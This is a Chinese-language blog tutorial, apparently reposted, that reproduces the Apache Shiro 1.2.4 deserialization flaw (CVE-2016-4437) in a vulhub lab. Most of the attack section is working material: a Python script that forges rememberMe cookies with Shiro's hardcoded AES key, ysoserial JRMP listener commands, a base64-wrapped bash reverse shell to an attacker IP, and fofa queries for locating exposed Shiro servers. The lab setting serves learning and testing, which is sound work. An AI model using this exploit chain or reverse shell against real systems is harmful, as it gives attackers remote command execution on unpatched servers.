CVE-2016-4437 Apache Shiro 1.2.4反序列化漏洞


0X00-引言


服從讓我們撐過白天,而投入才能讓我們撐過夜晚。------丹尼爾·平克《驅動力 3.0》

0X01-環境搭建


靶機:CentOS Linux 7

攻擊機:windows server 2016 && Kail

環境:vulhub

工具:ysoserial,burpsuite,LiqunKit

項目地址:https://github.com/vulhub/vulhub

搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)

fofa語法:

header="rememberme=deleteMe"、header="shiroCookie"

0X02-漏洞描述


Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

shiro默認使用CookieRememberMeManager,對rememberMe的cookie做了加密處理,在CookieRememberMeManaer類中將cookie中rememberMe字段內容先后進行序列化、AES加密、Base64編碼操作。在識別身份的時候,需要對Cookie里的rememberMe字段解密。根據加密的順序可以推斷出解密的順序為獲取cookie-base64解碼-AES解密-反序列化。

AES加密的KEY值被硬編碼在代碼中,可以從源碼中找到KEY值。攻擊者可以構造惡意代碼,將其序列化-AES加密-base64編碼,最后作為cookie值得rememberMe字段發送,shiro將接收到的rememberMe字段進行解碼-解密-反序列化,如果成功,則執行惡意代碼,構成攻擊。

影響版本:Apache Shiro <= 1.2.4

0X03-工具下載


01-安裝mvn命令
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz  #下載maven安裝包
tar -zxvf apache-maven-3.5.4-bin.tar.gz  #解壓maven安裝包
mv apache-maven-3.5.4 /usr/local/  #移動到usr下local目錄

配置環境變量,在底部添加如下配置

vim /etc/profile

export MAVEN_HOME=/usr/local/apache-maven-3.5.4
export PATH=${PATH}:$MAVEN_HOME/bin

重新加載環境變量

source /etc/profile

可能會生成一個新終端,如圖,

image-20211208223936493

檢查是否安裝成功

mvn  -v

終端不要關閉,先保持不動

image-20211208224117588

02-安裝ysoserial工具

另起一個新終端

mkdir Apacheshiro  #創建新目錄
git clone https://github.com/frohoff/ysoserial.git  #下載ysoserial

image-20211208224909757

在上一個終端里進入ysoserial文件夾

執行以下命令-等待結束

mvn package -D skipTests

生成工具

image-20211208225044977

03-准備shiro.py

將shiro.py與生成的工具放在同一目錄下

shiro.py源碼:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES	#pip install pycryptodome
 
def encode_rememberme(command):
	popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout = subprocess.PIPE)
	BS = AES.block_size
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
	key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
	iv = uuid.uuid4().bytes
	encryptor = AES.new(key, AES.MODE_CBC, iv)
	file_body = pad(popen.stdout.read())
	base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
	return base64_ciphertext
 
if __name__ == '__main__':
	payload = encode_rememberme(sys.argv[1])
	print("rememberMe={0}".format(payload.decode()))

0X04-漏洞復現

http://192.168.234.128:8080/doLogin

image-20211209105146375

01-查看是否存在shiro反序列化漏洞

burp抓包-repeater發包-看回顯-響應頭存在rememberMe字段-存在shiro反序列化漏洞

image-20211209105619179

02-准備好反彈shell的命令

反彈shell命令:bash -i >& /dev/tcp/192.168.234.135/12345 0>&1

加密網址:https://www.jackson-t.ca/runtime-exec-payloads.html

加密之后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20211209110024754

03-kali執行命令

在生成工具與shiro.py所在的目錄下執行

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}’

image-20211209110431859

注意反彈shell命令的單引號。需要在kali中重新輸入單引號

執行腳本

python shiro.py 192.168.234.135:1234#192.168.234.135為攻擊機IP#1234為ysoserial-0.0.6-SNAPSHOT-all.jar工具監聽的端口,與反彈shell的命令端口不同,我的工具監聽與nc反彈shell在同一台kali機器

生成poyload

image-20211209110835217

04-反彈shell

kali另起已終端,打開nc監聽

image-20211209110949708

burp抓包-repeater修改

image-20211209111216079

發送

image-20211209111308693

ysoserial工具監聽到信息-已上傳至服務器

image-20211209111420549

但是nc沒有反彈shell-不知道原因

image-20211209111456487

05-直接進入容器執行反彈shell命令

容器內執行發現可以回彈shell正常。對比之下我也找不到上面反彈shell失敗的原因😯

image-20211209160036228

image-20211209160100918

0X05-工具利用


工具地址:https://github.com/Liqunkit/LiqunKit_

01-反彈shell

image-20211209154638476

image-20211209154821080

成功

image-20211209154855091

還是工具好用,手動復現半天,工具一分鍾反彈shell,淦😂

0X06-參考


Apache Shiro反序列化漏洞復現並利用(CVE-2016-4437)

Apache Shiro 反序列化(CVE-2016-4437)復現

linux 安裝 maven 、解決:bash: mvn: command not found

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)復現

(CVE-2016-4437) Apache Shiro 反序列化漏洞 復現

shiro反序列化復現(續) ---利用docker-vulhub搭建復現(為了打出shell,針對linux系統)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM